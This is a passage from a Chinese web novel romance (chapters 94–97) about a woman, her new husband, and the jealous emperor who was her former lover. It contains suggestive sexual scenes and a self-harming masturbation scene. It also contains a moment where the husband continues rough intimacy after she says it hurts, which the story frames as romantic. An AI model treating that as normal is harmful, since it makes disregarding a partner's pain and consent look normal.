顾时听到了一个清脆的响声,觉得自己肩胛处猛地一痛,随后便失去了知觉,双手再也无法动弹,剑也直直地掉在了地上。 卸掉人的关节对于秦思昭来说就如同喝水一样简单,更别说他敏锐地发现了顾时的右臂似乎有伤,抬不起来。 他咬着牙,退后了一步,像不肯认输似的坐在了椅子上,咬着下唇,依旧摆出了上位者的气势。 陶金荣扛着一把大铁锹从里面出来了,她看起来颇有些衣冠不整,汗打湿了额发,粘在了额头上,外衣松松垮垮地搭在身上,没来得及系带子。 “顾时,你不仅拿着剑,而且还是先动手,这都打不赢,丢不丢人啊。” 他瞪大了眼睛,像是饿死鬼见到美味佳肴一般,上上下下地看着她。 她变得略微丰满了一点,也晒黑了些,皮肤不像之前那么白皙光滑,可气色看起来更好,她的两颊和嘴唇都透出自然的血色,眼神也更加的清澈透亮,炯炯有神,散发着自然健朗的美感。 她的外衣敞开,里面只穿着一层薄薄的中衣,隐隐约约能看见肚兜的颜色,脖子上有咬痕和吻痕。 顾时露出了一个笑容,无力地瘫坐在了椅子上: “泠川,你害得我好苦啊。” “究竟是怎么了?我怎么害你了,你讲清楚。” 她直接伸手去捏他的下巴,动作十分熟练,他打的舌钉也跟着一颤,只感受到了一种尖锐的刺痛。 “我以为你死了……” 他将眼睛撇到一边,看着地板,看着看着,眼睛竟酸了,泪水一滴一滴地落了下来。 “琮翠殿着火了,里面有一具女尸,已经烧得不成样子,我以为是你。” “哦,那你误会了,恐怕是别的什么人吧。那日你把其他人都撤走了,没人看见,我只是从小道走了。” 她只落下了一句轻描淡写的话。 顾时的泪水顺着瘦削苍白的下巴,一路滑到了喉结,反着莹莹的光。 他想伸手擦一擦自己的泪,双臂却因为脱臼而不听使唤,一丁点都动不了。 陶金荣看向秦思昭,问: “还有必要给他把胳膊安回去么?” 顾时的泪一滴一滴地落了下来,他低着头,怯怯地说: “那日你用银簪捅穿了我的锁骨后,我的右臂便抬不起来了,使不上力,从此再也拿不起弓箭来。” “我每天都觉得好痛,那伤口真的好痛啊……” 秦思昭没有掩饰自己鄙夷的眼神,皱着眉头,充满敌意和警告地看向了他,事到如今,还装什么可怜…… 陶金荣略带无奈地挠了挠自己没梳的头发,说: “得了,你别哭了,反正我都已经跟秦思昭成亲了,你不是要大选么,多选几个,就把我这档子事儿给忘了吧。” 顾时咬着下唇,无助地看着她。 “我只是在想……倘若还有一丝机会,你还活着……是不是只要我开始选秀,你就会出来阻止我……” 陶金荣的脸色红了白,白了又红,变了又变,实在不知道要说什么好,索性从牙缝里挤出一句话: “少收点税,真的很烦。” 顾时像认输了一样,垂头丧气地坐在椅子上。 咔——咔—— 两声脆响,秦思昭又把他的手臂关节安了回去,冷冷道: “陛下请回吧。” 他的眼神充满了敌意,几乎带上了一种杀意,用几乎微不可闻的声音说道: “勾栏做派。” 顾时敏锐的捕捉到了这种敌意,嘴角微微勾起,笑了一下。 他忽然明白了什么,便转身掏出帕子来拭泪,特意压低了嗓音说道: “我什么都没了……这辈子已经没指望了,泠川你要好好的,我只希望你能幸福。至于我……死不死活不活的,有谁真心在乎呢?” 第94章 他做作地低着头,悄悄看了看秦思昭越来越差的脸色,心中冷笑。 难道不是他靠着做低伏小装可怜的这一套勾引走了他的妻子,怎么,难道这一套只有秦思昭做得,他就做不得了么?还好意思说他是勾栏做派,难道他自己就正经?还不是勾引了有夫之妇。 顾时知道泠川就是水性杨花且重欲,一勾就上当,要不然她也不会随随便便就无名无分地跟他好在一起。 妻不如妾,妾不如偷,既然他能靠狐媚把他的妻子勾引走,那顾时也能靠着这一套把她勾回来。 秦思昭现在的表情再也没有了之前的气定神闲,自信淡定的样子,满满的都是受了威胁后的不安全感,恶狠狠地瞪着他。 顾时从容不迫地擦了擦自己的脸颊,看来他心底也知道泠川就吃这一套。 顾时看着泠川一副左右为难的样子,瞬间心中有几分酸楚,她有些吃软不吃硬他是知道的,可是全是他之前仗着她对他有感情就胡作非为,若不是他不懂得珍惜,怎会有秦思昭这个贱人趁虚而入呢。 她抛弃了他选了别人,他不怪她,全是那个贱人主动勾引,不过这次他长了记性,不会蛮横地直接拆散他们。 他已经清楚地知道自己越是发疯,她就越要跟他拼命,越是用强,她就越要对抗到底,若是自己一味强拆了他们,才是真的一点希望都没了,因懊悔而无法入眠的日子要多少有多少,他不想再失去她一次。 在他对着她哭泣认错的时候,她的眼睛明显闪动了一下。 顾时看了一看泠川和秦思昭住的屋子,他们两个过得实在是太清贫了些,先找个理由给她塞点礼物,再暗暗看秦思昭抓狂吧。 他心中冷笑,这种时候谁是正室谁就最难受,一来二去,秦思昭肯定比他先受不了,他比谁都知道这种难受劲儿,之前秦思昭就是这么对付他的,风水轮流转,现在轮到他了。 陶金荣把铁锹放在了一旁,低着头,怯怯地拉了拉秦思昭的衣袖,说道: “咱们先回去吧,我原本是看你有危险,想拿铁锹来把他打扁的,没想到没用上。” 她原本想的是一寸长一寸强,这铁锹又大又结实,肯定能打得过那把华而不实的长剑,可没想到秦思昭出手这么快,直接给顾时胳膊弄脱臼了。 她看出了秦思昭面色不太好,几次想开口说点什么,又憋回去了。 秦思昭垂眸,冷不丁开口说道: “荣儿,他装出来那个样子,真是让人看了就觉得恶心。” 他抓住她的手,看着她的眼睛问: “你该不会真的觉得他可怜吧?” “哎……这……” “别含糊其辞!” “我又没骗他,都是他自己误会,关我什么事,轮得到我去可怜他么?” 陶金荣提高了嗓门,急急忙忙地说道。 秦思昭对这个回答还算是比较满意,面色柔和了许多,手却没有松开,继续牢牢地握着她的手,把手指插进她最为细嫩的指缝里。 他把她猛地按到了墙上,嘴唇覆上了她无助的唇,狠狠地咬了一口。 “嘶——” 她疼得倒吸了一口冷气,却被钉在了墙上。 他的舌猛地侵入了她的牙关,像攻城略地一般,占有了她的舌,她喉咙里发出微弱的声音,反倒更刺激了他的占有欲,手直接探入了她松松垮垮的腰带。 “唔……” 她轻轻地回吻着他,如同讨好一般把手放在他的肩膀上。 “大白天的……至少到卧房里再亲我吧……” 她轻轻摸着他的喉结,嗓音变得有些沙哑柔媚。 秦思昭不应,只毫无怜惜地把她钉在了墙上,外面刮过一阵风,树叶哗啦啦落了一地。 陶金荣的双唇在厮磨之间涨得通红,微微张着,露出一小片莹润的贝齿,她的眼中涌起了湿润粘滑的泪,喉咙里的声音有些痛苦。 忽然,她肩膀猛地抽搐了几下,只觉得眼前一阵一阵地发白。 “有点疼了,阿昭,停一下吧,至少让我歇歇。” “喜欢吗?” “真的有点疼。” 她小声讨饶。 “那就不停。” 她的声音渐渐变了调子: “喜欢,最喜欢你了,只喜欢你。” 他终于放过了她,把她揽在怀里,轻轻拍了拍她的后背。 陶金荣觉得有些站不稳当,搂着他的脖子,轻轻亲了亲他的嘴唇。 他直接把她打横抱了起来,手就卡在她的腿弯上,她赤着脚,双足一晃一晃,露出白皙平直的小腿线条。 秦思昭把她轻轻放在床上,亲吻了一下她的脸颊。 “我去烧水,烧好了叫你。” 她脑子里早已七荤八素,软软地卧在床上,听不进他说的是什么,只含含糊糊地回答: “嗯。” 烧好水后,秦思昭摸着她的下颌说道: “去洗澡吧。” “你抱我去。” 他叹了口气,把她抱进了浴室,轻轻把她放入热水里,用细布给她擦拭了锁骨和脖子。 她暗暗想,这秦思昭看着挺瘦弱的,力气怎么这么大,轻轻松松就把她抱来抱去,还把她架在腰上那么久,也不见有什么疲态,究竟是怎么做到的。 “阿昭,你为什么力气这么大?” “挑水砍柴之类的活干多了就练出来了,还有正骨也是力气活,劲儿小的人肯定干不了。” 他拨开她的膝盖,用流动的活水给她冲洗干净。 “哎,多不好意思,我还是自己洗吧。” 陶金荣轻轻拍掉了他的手。 “怎么,你赶我出去么?” “不是,就是不好意思。” 秦思昭叹了口气,把水瓢递到她的手里,默默地走了出去。 陶金荣脑子里一大堆杂七杂八的想法自由奔逸着,按下去一个又飘出来一个,她眨了眨眼睛,心想秦思昭之前还有些腼腆,可怎么忽然像开了窍似的。 她清理干净后从浴房里出来,秦思昭便进去用剩下的凉水洗,她浑身发软,匆匆忙忙地躺在了床上,一阵一阵的困意袭了上来,可是她又不想睡,她不喜欢一觉醒来已经到了晚上的感觉,像是被人偷走了半天。 秦思昭洗完后,躺在床上,紧紧抱着她。 “别乱动,让我抱一会儿。” 她把自己的额头贴在他的额头上,觉得二人之间十分亲密,就像身体的一部分长在了一起似的。 “阿昭,我饿了。” “我去给你做饭。” 他从床上麻利地爬了起来,熟练地砍柴烧火。 其实秦思昭挺喜欢干这种只费身子不费脑子的活计,为了妻子围着锅碗瓢盆转上一辈子也挺好,他并不觉得这样的生活有什么不满足。 秦思昭咬了咬下唇,今日他那么粗暴,她竟然一点都没恼了他,还是照常与他言笑晏晏。 是因为她待他格外宽容,还是因为她早就习惯如此了? 他想起今日陶金荣在顾时面前愧疚的样子,她如同做坏事被抓住了一般,心虚地眨着眼,几乎不敢看顾时的眼睛。 他心中深知顾时用权势逼她就范全是无用功,她骨头硬得很,可如今他竟然开窍了,只一味地装可怜,赌她会对他心软。 真是心机深沉。 陶金荣本身没什么错处,只是没有办法才委身于他,即使有几分情意,也全是被他惺惺作态的表象给引诱了,他现在就是在利用陶金荣的单纯来对付她。 婚姻乃是父母之命媒妁之言,他们之间的关系正当得很,是顾时对他的未婚妻威逼利诱,还好意思提着剑摆出捉奸的架势来,简直恬不知耻。 他必须好好的晓之以情,动之以理,千万不能让他的妻子再上了他的当。 他尝了尝这道菜,似乎醋放得稍微多了些…… 罢了,重新做吧,这道菜他自己吃了便是。 次日,顾时派人客客气气地把秦思昭请到了李县丞的府上,又把这附近能叫到的官员全叫了过来,人越多越好。 他的脸上挂着体面的微笑,说道: “秦先生,我身上受了些陈年旧伤,京中无医能治,从您师父那里得知了您是他的得意门生,特意来此处寻您来治,毕竟京中还有公务缠身,还请您随我一起回京,当然,带上您的家眷。” 顾时把一个木盒往前推了推,说道: “一点感谢,不成敬意。” 此话他说得极为客气,简直给足了脸面。 之前秦思昭故意当着一堆大臣的面求他赐婚,让他下不来台,害得他吐血,现在轮到他用这招来治他了。 他阴恻恻地看了他一眼,走着瞧吧,他不会杀他,但依然有的是办法对付他。 “草民虽略通一些医术,可却尽是些野路子,陛下可放心么?” 秦思昭努力掩盖眼中的不悦,他倒是真敢让他给他治病,也不怕他动些什么手脚。 顾时露出一个假惺惺的笑容: “秦先生办事我一向放心,快收下吧,我会派人送您和您的家眷一同进京的,您放心,绝对安排妥当。” “定不负陛下美意。” 众目睽睽,秦思昭也只能应了下来,他尚且不知那盒子里尽是女子的钗环首饰,皆是顾时亲手给泠川挑的。 第95章 秦思昭明知此行不会有什么好事,但还是不得不承接下来,用袖子掩着脸,恨恨地瞥了他一眼,他打的什么主意他难道看不出来么。 周围人无不觉得他得了赏识,纷纷投来艳羡的目光。 秦思昭皱了皱眉,无奈地叹了口气,又应付了几句场面话,便匆匆拿着顾时给的那个盒子打道回府。 他前脚刚一出门,发现陶金荣就站在大门外面,探头探脑,紧张兮兮地等着他。 她衣裳穿得极素,几乎带着几分朴实,脸颊被太阳晒得有些泛红,可布衣荆钗依旧不掩她清冷妩媚的容貌。 顾时对她念念不忘,是因为容貌吗?还是因为纠缠得太久? 一见秦思昭全须全尾,神色淡定地出来,她脸上的紧张神色便瞬间少了大半,对着他露出一个有几分傻气的笑容,说道: “我是不是来得有些迟了?他们说是今日来的都是贵客,说什么都不肯让我进去呢。” 秦思昭哑然失笑: “不迟,不迟,我们回家再说吧。” 他握着她的手,与她一起回了家中,关上门窗,便把今日之事一五一十地同她说了。 说实话,顾时那点小心思连藏都不带藏的,他和陶金荣都心知肚明。 他担忧地看了一眼她,她应该也对顾时的无耻心知肚明吧。 陶金荣一听便笑了: “他倒是真敢让你给他治病,也不怕你把他扎成太监。” 玩笑话说完,她用手撑着下巴,看着他无奈地笑了笑: “哎,进京便进京吧,我也没什么办法,只是京城有人认识我,我就得多藏着些,躲着点人走,只怕被别人给认出来,若是没人知道还好说,就是这事儿要是捅出去可就完蛋了,我可不能拖累了你。” 她换上了一副严肃的表情,正色道: “你对我已经是情真意切,有你这样的郎君,我此生无憾,只是我不能一而再再而三地连累你,你若是觉得太累支撑不住,随时跟我说,我心里永远念你的好。” 秦思昭被她的话震了震,眼眶一酸,声音微微颤抖地说道: “有你做我的的妻子我也是此生无憾,什么拖累不拖累的,别这样说。我活在这世上只有一个身份,就是你的丈夫。” 她亲了亲他的侧脸,眼中尽是心疼,原本他能有顺遂的一生,全是她连累了他跟着受顾时的气,他从始至终没做错任何事,她低头看向秦思昭手中捧着的盒子,问道: “阿昭,打开看看里面是什么吧。” 他把盒子打开,里面尽是不同样式的钗环首饰,胭脂水粉,闪溢出灿灿的光点,晃得他眼睛略微有些不舒服。 “是不是挺值钱的?留着吧,不要白不要,京中花钱的地方多,当了还能换两个钱呢。” 她干脆利索地把那盖子盖上,没有再看那些首饰一眼。 秦思昭看了看她的鬓角,上面并无什么妆饰,从前*她打扮得那样光彩夺目,如今却素着脸,女孩子家大多都爱美的,她这个样子是为了让他安心么? 没必要,她打不打扮无所谓,只要她自己开心就行,他不想她为了让他安心就压抑自己。 他伸手摸了摸她的眉骨说道: “没关系,你若是喜欢便打扮着,东西总是没错的。” 他掀开盖子,只觉得里面的钗环首饰都长得差不多,便随手挑了一支簪子,戴在了她的头上。 “其实我对这些女孩家的东西都不太懂,也看不出好看不好看……你别嫌弃我不会挑。” 她把簪子摘下来,放回了盒子里。 “戴了脑袋疼,头皮扯得慌,还是邋里邋遢的舒服。” 此话倒是不假,她喜欢漂亮,但也嫌这些漂亮的东西会在看不见的地方让她疼。 顾时派来的车夫已经在外面等了许久,他们二人只简单收拾了些东西,带上了银票重新进京。 一路上甚是无聊,不安的气氛蔓延在二人之间。 陶金荣用手撑着下巴,看着窗外问: “顾时他真的胳膊有伤么?” “是真的,我仔细看了,他右臂抬不起来,很可能落下残疾了,就算认真治,也未必能治好。” 私人恩怨归私人恩怨,但在行医上秦思昭一向不掺杂什么个人情绪,若是他求他治病,他也会正经治疗,并不会从中做什么手脚。 “我之前用一根银簪捅穿了他的锁骨。” “那很可能就是贯穿伤连带着影响了手臂功能。” 陶金荣扶着自己的额头,没想到这事还要怪她,她只是想捅他一刀解恨罢了,把他弄残了完全在她的意料之外,她对他的仇恨还没达到那个程度。 没想到,自己把他弄残,竟然要连累秦思昭帮她善后。 可她却想不通顾时到底打的是什么主意。 他明显不是想再把她强夺了去,也不想杀秦思昭,那他究竟想做什么? 一路上安排得甚是妥当,傍晚,二人被安排进了一个在小地方算得上是颇为豪华的酒家,被侍者引着进了二楼的雅间。 一进门,顾时已经点好了一大桌菜坐在那里。 真是碍眼。 在一瞬间,顾时和秦思昭在心中给了对方一模一样的评价。 陶金荣瞥了一眼顾时,说道: “用不上这么多的菜吧,多浪费啊。” “无妨,剩的赏人便是了。” 陶金荣倒是面色如常,拉开椅子坐下,端起碗便吃了起来。 她吃饭快,在顾时面前她也懒得顾忌什么吃相,还是小地方的馆子好吃,上的全是硬菜,没有那些装模作样的精致菜肴,她不停地往碗里夹肉,吃得倒是很香。 “……” 顾时没想到她真的胃口如此之好,他连一个给她夹上一筷子菜,跟她说句话的空档都没找到。 不过这样看着她吃饭也挺不错的。 他把眼睛瞥向她的脖子,她穿了件高领的衣裳,领子紧紧地裹着脖子,他一路看下去,看着她微微起伏的胸口,他很想听一听她心跳的声音。 陶金荣没什么矫情的想法,只专心吃饭,不到一炷香的功夫她就把碗里的饭都扒完了,秦思昭用帕子给她擦了擦嘴,这个亲密的举动毫无疑问是在警告。 秦思昭想,她不应该用银簪捅穿他的锁骨,而是应该捅瞎他的眼睛。 她不过吃了这么一小会儿的饭,他就用那种觊觎的眼神把她看了个遍,甚至还盯着她的胸口看了半晌。 简直下流。 “我吃饱了,回去休息了,顾时你慢慢吃。” 她扫了一眼桌子上的菜,说: “哦,这里的菜都偏咸一些,你吃不惯吧,要不你点个拔丝地瓜?不用我出钱吧?谢谢你请我们夫妻两个吃饭。” 还不等他回复,她便拉着秦思昭走了。 听到“我们夫妻两个”时,顾时忽然觉得一阵失落。 他不该对他们有了夫妻关系感到意外的,她没有骗他,一切事实都清清楚楚。 她走的时候,他明明心知肚明她肯定会和另一个男人睡在一起,可是他却因为畏惧面对自己的错误而选择了逃避,等待着他的却是更大的惩罚。 如今顾时想见她的心情大大超过了畏惧被抛弃的心情,可是亲眼见到他们二人举止亲密,他的心里还是很不舒服,像是被猛地挤了一下似的。 他哀怨地抬起眼,明明是他抢占了先机,可为何丈夫又变成了别人,若秦思昭是她的丈夫,那他算什么?和离的前夫?还是说他只是一个可有可无,和她毫无关系的人? 如今她有了新欢,就把他这个旧人彻头彻尾抛在脑后了,甚至都不愿正眼看他,她明明也爱过他的,可为何变心得如此之快,她的行为举止里竟然找不出一丝一毫爱过他的痕迹,就连怨恨和抵触都找不出几分。 为什么她连一点恨都不愿意施舍给他? 顾时觉得食不下咽。 他一扭头,天色已经有些黑了,一张用来装饰房间的铜镜里倒映出他的容貌,如今他消瘦了许多,鬓边生了许多白发,眼下一片青黑……他的容颜憔悴了许多,尚未缓和过来,就连一个孩子都笑他长相吓人。 那在她的眼中,想必是很难看了…… 怪不得她连看都不愿看他。 他焦虑地摸了摸自己的脸,得赶紧调理回去才行。 侍者把秦思昭和陶金荣带到了次好的房间……就在最好的房间旁。 这顾时下流无耻,觊觎别人的妻子,估计什么都干得出来,今晚会不会半夜闯进他们二人的卧房都很难说。 想到这里,秦思昭就站起身,重重地把门窗关上,仔细检查了门锁有没有被人提前动过手脚,还是不放心,特意把椅子搬来,摞在门前,用一种特殊的结构把门死死抵住。 陶金荣洗漱完,脱了外衣和中衣,只穿着一件肚兜,坐在床上闲散地喝玫瑰茶。 她看着门口高高摞在一起的三个椅子,不禁哑然失笑。 不至于防备到这个份上吧…… 她吹熄了灯,从背后抱住秦思昭紧实有力的腰,抱紧了些,伸手去摸他的腰带,咬着他的耳朵说: “这顾时肯定就住咱们旁边,待会儿我把动静弄大一点,让顾时好好听听咱们夫妻是如何恩爱的,你说如何?” 她用手指轻轻挠着他的手心,亲了亲他的耳朵,整个人像一条蛇似的缠绕在他的身上。 第96章 秦思昭略有些粗暴地按着她的肩膀,强迫她坐在床上,拧着眉头说: “不行,凭什么让他听去了。” 他咬了咬下唇,眼中满是阴翳,若是真的让顾时听见,保不齐他要悄悄听着她的声音做什么下流的事呢。 简直恶心。 他让她躺在床上,又盖上了被子: “那档子事毕竟对身子不好,总不能每夜都干,赶紧乖乖睡觉吧。” 他从后面捂着她的眼睛,强行让她睡觉。 “睡觉,不要闹腾,手不要不老实!” 陶金荣像条鱼儿似的拱了拱,问: “路上还有好几日,难道还能一直憋着?” “睡觉!” 秦思昭按住她不安分的手,摆出了一副宁死不从的架势,陶金荣也只能听从他的,乖乖睡了。 次日,秦思昭醒得比她更早,她洗漱更衣完,秦思昭便拿起梳子给她梳头。 外面有人敲了敲门。 “请进。” 她以为是侍从,想都没想就直接让门外之人进来了,梳妆用的镜子里映出的却是顾时的脸。 她从镜子里瞥了他一眼,他气色倒是稍微强了一些,眼下也没有淤青了,但依然消瘦憔悴,像个大衣架子似的,支起了松松垮垮的名贵衣裳,真是比之前难看了许多。 不过就算他好看,她也懒得看就是了。 秦思昭不语,手上的动作也没停。 陶金荣抢先问道: “顾时,有什么事吗?” “往常你都睡到日上三竿才起,今日怎么起得这么早?” 又来套什么近乎……嗡嗡嗡的,简直如同一只苍蝇缠着一朵红月季一般烦人。 秦思昭嫌恶地皱了皱眉,继续给她梳头发,又挑起她的下巴,拿起青黛给她画了又细又弯的眉,他手很稳当,画出来的线条十分对称。 “没想到秦先生还会给女子画眉,不知是从哪学来的手艺?” 挑拨离间……暗示什么见不得人的事呢?果然,大苍蝇就该被拍死。 秦思昭完全没搭茬,手下的动作一刻不停。 陶金荣没忍住笑了出来,说道: “一开始也不会,全是我教的,现在也画得挺好。” 此话颇有双关之意,顾时不禁咬了咬牙。 光是想到那一幕,他就感到心碎,不是自己的东西被别人占有后的愤怒感,而是自己被完全抛弃后的无助感。 她确实彻底抛弃他了,现在不管是身体还是心灵,她都不再需要他,他什么都给不了她,他本来以为泠川除了他之外什么都没有,可却没想到他们从来就不是互相依赖的关系,离不开对方的人从始至终只有他一个。 为什么这个世界上没有人真正需要他? 他看到她的红手绢,忽然想到了那一片可怖的鲜血。 如果那个孩子能活下来,会不会一切都变得不一样? 秦思昭从顾时送的钗环首饰里挑出了一条项链,端端正正地戴在了她的脖子上。 就算这项链是顾时送的又何妨,给她戴项链的人是他。 他冷冷地用余光瞥了他一眼,一天到晚就知道绕来绕去吸引他妻子的注意力,就让他自己吃味去吧。 觊觎别人的妻子,简直下贱。 陶金荣本身就是他的未婚妻,他不过是想办法把自己的妻子从恶霸手中解救出来罢了,根本就光明正大,顾时简直自以为是,自作多情。 “走吧,上路吧。” 陶金荣叹了口气,挽着秦思昭的手便一起上了车。 顾时没找到能和她单独交流的空档,心想自己得想个好点的办法把秦思昭支开。 秦思昭简直在陶金荣身边建立了一层厚厚的围墙,把她包裹起来,密不透风。 顾时靠在马车的窗边,心想,这六年里她从未提过自己有未婚夫之事,他天真的以为她只有依赖他才能生存…… 就算她告诉他,他也会一厢情愿地以为她的未婚夫一定不会接受她。 是自己太过任性,欺负了她。 他想清楚了,一直以来其实是陶金荣在单方面的包容他,现在她腻了,厌倦了,便提出和他分手,是在情理之中的事,她喜欢嫁谁就嫁谁,他没资格对她二嫁之事感到不满。 是他单方面地误会了她死了,她对此并不知情,因此也不能算她故意装死报复。 虽然他不过怕自己这一生所托非人,想考验她对他是否真心,可毕竟是他先提出给她另寻配偶,她与秦思昭有接触也不能算是对他感情的背叛。 想来想去,他简直挑不出她的一丁点错误。 到底还是要怨他太无能,什么都给不了她。 和她在一起的时候,他总是患得患失,可彻底失去她之后他反而安定了很多,就算他再歇斯底里,现在也没人惯着他了。 苦恼,积怨,激情……他总是把这些巨大的感情一股脑地灌给了她,她已经耐着性子安抚太多次他的情绪,心中肯定已经十分厌烦。 在路上一连就是几日,两日后,顾时在酒家的卧房中,几乎无法入睡。 就在三更半夜里,他听到了十分尖细,几乎像猫儿在叫似的声音。 起初他还没意识到那是什么,只当外面有猫儿,可他的身体比他的脑子记性更好,抢先做出了反应,他才猛然发现那是她的声音。 秦思昭和陶金荣的卧房就在他的隔壁。 她压着嗓子,似乎是怕被他听去了似的,不敢发出太大的声音,只小声哼哼着,发出模模糊糊的呜咽声来。 鬼使神差地,他把耳朵凑近了些,只听见她用沙哑的嗓音说了许多露骨的情话,简直像一场絮絮叨叨的独白。 这些情话原本全应该是讲给他听的!一字不拉! 那些带着欲念的回忆像潮水一样涌了上来,明明那六年匆匆而过之时,他没品味出任何温情和美好,可现在回忆却化成了一把把金色的刀子,不停地捅刺着他。 顾时觉得头昏昏沉沉,脑中理智的堤坝彻底崩塌,低头看向了自己的腰带下方。 至少今夜,他就当她的情话全是讲给他听的吧。 他咬着穿透舌头的银钉,在舌尖令他窒息的痛感之中,将手伸了下去。 他眼睛彻底红了,一边大颗大颗地落着泪,一边手心暗暗用力,咬紧牙关,嘴唇不停颤抖。 双眼彻底在欲念之中失焦后,春梦初醒后顾时发现自己睡在冰窟窿里,温柔乡全是别人的。 他嫌恶地丢掉了包裹着肮脏的草纸,空气中飘逸着令人作呕的气味。 他什么时候变得这么下贱了。 顾时直直地倒在了地上,受伤的肩膀猛地和冰冷的地面发生撞击,他只觉得浑身一麻,四肢几乎不听使唤,他只伸着脖子,一边啜泣着,一边想尽办法把身子贴近冰冷的墙,把她的声音收入耳中。 她已经把所有落空了的期待都补偿在了另一个人身上。 他只能悄悄地偷一点点她给别人的爱。 “对不起……对不起……” 顾时呜咽着,从喉咙里发出一小团一小团,含糊不清的道歉声音,他知道自己不该破坏她来之不易的幸福生活,可是他根本不知道该怎么离开她独自生存下去。 除了她,没人能降伏得了他的情绪,就连他自己也不行,他只能属于她,缠紧她,他的人生已经定型了,再也没有别的可能。 他早已是一株拼尽全力寄生在她身上的藤蔓,没法生根。 他知道自己这个样子丑陋至极,难堪得要命。 世界上有谁会真心喜欢像他这样的人? 他根本不配。 牙齿狠狠咬着舌钉,痛觉是他给自己降下的惩罚。 他就是要代替她来惩罚自己,替她来清算他的罪恶,他痛起了额头上的一片冷汗,双眼却死死瞪着空白的天花板,双腿不受控制地用力,脊背弯成一个可笑的弧度。 这一夜他不知自己是怎么过的,但时间不会等他,不管他是怎样痛苦,亦或是怎样的快乐,太阳照样会东升西落。 鸡的鸣叫声响起后,他顾不得自己是不是严重缺乏睡眠,也只得爬起来,穿好衣裳。 今日他的脸色甚是难看,眼白里满布红血丝,他不想让她看见他这个狼狈的样子。 可是怕什么来什么,陶金荣偏偏不加掩饰地,像个判官似的猛地站在他的面前,两只眼睛把他从上到下扫射了一遍。 她并不算完全的气势汹汹,毕竟她的腿略微有些使不上力气,看起来睡眠有些不足,腰肢软着,像是随时随刻要倒在别人身上似的。 可她看着他的眼神却异常可怕。 他被那眼神看得十分羞愧,低着头,根本不知道该怎么面对她,眼神躲躲闪闪,他只在心中哀求她赶紧放过他。 她的柔情款款绝对不是给他的。 陶金荣冷冷地说: “顾时,有些事我要单独问你。” 她冷着脸,顾时像兔子似的,呆然地跟着她进了房内,等待着一场严酷的审判。 陶金荣猛地扯着他的领子,单手把他推在了冰冷的墙上,这墙正是他昨夜独自缠绵过的那面。 羞耻心把顾时击败,自尊心溃不成军,他失去了一切反抗和求生欲望,头狠狠地撞在墙面上,发出碰的一声。 她再也没有了那似哭非哭的细弱嗓音,而是声音低沉,几乎有些苛刻地质问道: “顾时,你昨夜听到了什么。” 第97章 羞愧心一下击溃了顾时,他眼睑泛红,身子不停地颤抖。 他既没有勇气承认自己做了什么,又没有脸面说谎,即便是咬死不承认,他也知道自己躲躲闪闪的样子没有一丁点说服力,只得不停求饶,双眼失焦,努力将乞求的目光移向她的眼睛。 “放……放过我吧……” “你昨晚到底听着我的声音干了什么下流的事?快点说!” 她手上用力拧着他的耳朵,步步紧逼,咄咄逼人地逼他承认。 “我……我已经替你罚过我自己了……” 顾时露出了一个无助且讨好的笑容,微微张开嘴,露出舌尖上泛着银光的舌钉。 “这是舌钉,咬一下真的很痛,我已经狠狠的咬过自己了,你要是恨我,就咬一下吧。” 他侧过头去,补了一句: “你想对我干什么都行。” 她松开了他,冷笑着拍了拍手。 “想得美。” 她转身便走了,留他一个人如同被抛弃的流浪猫一般站在原地,他看着她婷婷袅袅的背影,苦笑着想她怎么连扇他一巴掌都不愿意了呢。 顾时摸了摸自己的领子,她手的温度和触感还残留在他的脖子上。 反正他能有多龌龊,她一向都知道的,索性便破罐子破摔吧。 当日夜里,他们便回到了京城。 顾时心想,她还活着,可是自己还是要一个人入睡,一个人起床。 他知道陶金荣不喜欢听他抱怨,哭得多了她就会心烦,但是她禁不起诱惑。 还是先把外貌恢复好再说吧,自己现在这个样子未免有些太难看了,她看了肯定不悦。 陶金荣大半夜跟着秦思昭回了他在京城原先的住所,这里她之前是来过的,位置有些偏了些,但里面还算干净利索。 “今夜晚了,咱们先休息,凑合睡一晚便是了。” 她挽着秦思昭的手臂,一起进了卧房。 “荣儿,恐怕你出门得戴上帷帽了……人来人往,难免有些应酬,我怕你被人认出来。” 她点点头,说: “嗯,我知道的。” 和秦思昭一起躺在床上,她把头往他的肩膀上靠了靠。 现在她还不知道顾时到底打的是什么主意,也只能走一步看一步了。 次日,顾时派人来送了许多摆设,陶金荣缩在后宅没有出面,只有秦思昭一个人去应和。 几个消息灵通的官员见秦思昭受了赏,又纷纷过来阿谀奉承,陶金荣把后宅的窗户纸捅了个眼儿,悄悄地往外看,不禁冷笑。 这群人还以为秦思昭是得了重视呢,殊不知他境遇比任何人都要危险,脑袋几乎别在了裤腰带上。 她敢打赌,这些大臣如果遇到了和秦思昭一模一样的情况,绝对会把妻子卖给顾时换取荣华富贵。 秦思昭忙了一上午,擦了擦额头上的汗,叹了口气进屋,把门关上抱怨道: “他给我派了个进宫培训御医的活计,我恐怕是没时间给你做饭了,只能雇佣一些人来伺候打扫。” “没事,你雇个厨娘就行,我自己可以照顾自己的。” 她对这个安排并不感到意外。 虽然她也不知道顾时打的究竟是什么主意,但是她也知道,他肯定是想勾引她偷情。 自然是偷情,肯定是会想方设法地把她丈夫支走的。 想到这里,陶金荣就嫌恶地皱起了眉,他为了下半身那点儿事,可真是花样百出,顾时矫情来矫情去的,不就是想钻被窝么,无非就是怎么钻,用什么花样钻,什么时间钻的区别。 门外忽然传来一声嘹亮的嚎叫: “姑娘……快放我进去吧!” 她被这声音吓得一个激灵,是金盏的声音。 “是金盏,让她进来吧。” 陶金荣看着秦思昭,解释道: “她是我之前的贴身侍女,嘴巴很严,能信得过。” 秦思昭去给她开门,她背后是一个竹编的箩筐,里面正是之前那只长毛的小白猫,惬意地卧在了箩筐里。 她直直地冲着陶金荣奔来,猛地一扑抱住了她,哇哇大哭: “吓死我了!我还以为我要被灭口了呢!” 顾时派人找到她时,她还以为是他要治她的欺君之罪,吓得不得了,却丝毫不敢表现出来畏惧,只强撑着假装自己不知道此事。 没想到竟然是他已经找到了泠川,请她回来给他们两个那档子纠纠缠缠的烂事儿打掩护,金盏才松了口气,好在自己没露出什么马脚。 “哎,别哭了,别哭了,没事了。” 陶金荣只得轻轻拍着她的后背安抚,她和金盏在某些方面实际上非常默契,一下便知道她因为什么而感到害怕。 欺君之罪可是要诛九族的。 “喵喵……” 小白猫灵巧地从箩筐里跳了出来,巡视着整个领地。 陶金荣被吓了一跳,说: “你怎么连猫都带来了?” 金盏理直气壮地说道: “走到哪里都得带着猫呀。” “嘤嘤嘤……” 一只小黑狗摇摇摆摆地走了进来,猫吓得毛发竖起,对着狗开始哈气。 